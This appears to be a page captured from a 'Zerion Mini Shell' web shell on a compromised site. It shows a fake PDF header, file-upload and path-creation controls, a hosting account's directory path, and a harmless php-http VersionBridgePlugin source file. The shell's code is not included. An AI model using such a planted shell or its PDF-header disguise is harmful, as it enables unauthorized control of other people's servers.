%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/jalalj2hb/www/G/vendor/php-http/client-common/src/Plugin/
Upload File :
Create Path :
Current File : /home/jalalj2hb/www/G/vendor/php-http/client-common/src/Plugin/VersionBridgePlugin.php

<?php

namespace Http\Client\Common\Plugin;

use Psr\Http\Message\RequestInterface;

/**
 * A plugin that helps you migrate from php-http/client-common 1.x to 2.x. This
 * will also help you to support PHP5 at the same time you support 2.x.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
trait VersionBridgePlugin
{
    abstract protected function doHandleRequest(RequestInterface $request, callable $next, callable $first);

    public function handleRequest(RequestInterface $request, callable $next, callable $first)
    {
        return $this->doHandleRequest($request, $next, $first);
    }
}

Zerion Mini Shell 1.0